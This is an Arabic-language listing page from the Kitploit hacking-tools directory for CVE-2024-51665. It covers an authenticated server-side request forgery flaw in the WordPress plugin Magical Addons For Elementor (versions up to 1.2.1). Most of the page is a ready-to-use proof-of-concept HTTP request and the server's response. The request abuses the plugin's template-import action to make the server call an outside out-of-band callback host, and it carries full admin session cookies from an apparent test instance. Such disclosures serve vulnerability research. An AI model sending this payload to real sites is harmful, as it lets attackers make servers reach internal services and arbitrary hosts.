Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-51665 — Magical Addons For Elementor <= 1.2.1 - مُصادَق عليه (مشترك+) تزوير طلب من جانب الخادم | Kitploit
أدوات/GitHubGitHub/randomrobbiebf/cve-2024-51665
تحليل الثغرات الأمنيةالاستغلالاختبار أمان APIجمع المعلوماتأمن الويباختبار الاختراق
GitHubrandomrobbiebf/cve-2024-51665

CVE-2024-51665

Magical Addons For Elementor <= 1.2.1 - مُصادَق عليه (مشترك+) تزوير طلب من جانب الخادم

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-51665

إضافات سحرية لـ Elementor <= 1.2.1 - تزوير طلب من جانب الخادم (مصادق عليه، مشترك+)

الوصف:

إضافة Magical Addons For Elementor (باني الرأس والتذييل، أدوات Elementor المجانية، مكتبة قوالب Elementor) لووردبريس معرضة لثغرة تزوير الطلب من جانب الخادم في جميع الإصدارات حتى 1.2.1. وهذا يمكن المهاجمين المصادق عليهم (بصلاحية مشترك أو أعلى) من إرسال طلبات ويب إلى مواقع عشوائية من التطبيق، مما يسمح بالاستعلام عن الخدمات الداخلية وتعديل معلوماتها.

root@kitploit:~
CVE: CVE-2024-51665
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
CVSS Score: 6.4
Slugs: magical-addons-for-elementor

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1731408607%7CmiG195bwGw9U0MCeugmpqKixxK2Y5xcpwWpLTeKrE5N%7C4da380106f854d896c9d58cf609bf00c508c045357a73fbc0c5ea3e2d4925573; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wordpress_admin_logged_in=1; LUMISESESSID=TE3CYBG1VFQEDZU5QXW7; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; tk_ai=woo%3A4etnnSH4LBZewXIFkJECnLd0; PHPSESSID=786ef110eb080f5686818c346edde8d3; wp-settings-time-4=1731070503; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-11-08%2017%3A21%3A02%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-11-08%2017%3A21%3A02%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D4%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A132.0%29%20Gecko%2F20100101%20Firefox%2F132.0; woocommerce_items_in_cart=1; woocommerce_cart_hash=6d1d20e1fd5e4f4f3846eea4a6c448f3; wp_woocommerce_session_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C%7C1731322046%7C%7C1731318446%7C%7C1878869e68ff1672506462f9d2b69bb9; wp_masteriyo_session_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C%7C1731344010%7C%7C1731340410%7C%7C438a61e5a677a01984451f5aca4a5945; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1731408607%7CmiG195bwGw9U0MCeugmpqKixxK2Y5xcpwWpLTeKrE5N%7C5a938f0f09db5c9aff66b41764f880910ac3f0232da95a6b9436a266b3e84e27; wp-settings-1=m02pzb9ihm%3Dundefined%26libraryContent%3Dbrowse; wp-settings-time-1=1731235808
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

action=magical_addon_import_template&id=1&parent_site=suvjjaixwwfhtvhfbtjikrp9sk6je4edb.oast.fun/
root@kitploit:~
HTTP/1.1 200 OK
Date: Sun, 10 Nov 2024 12:00:47 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.13
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Length: 4
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

null
تنزيل الأداة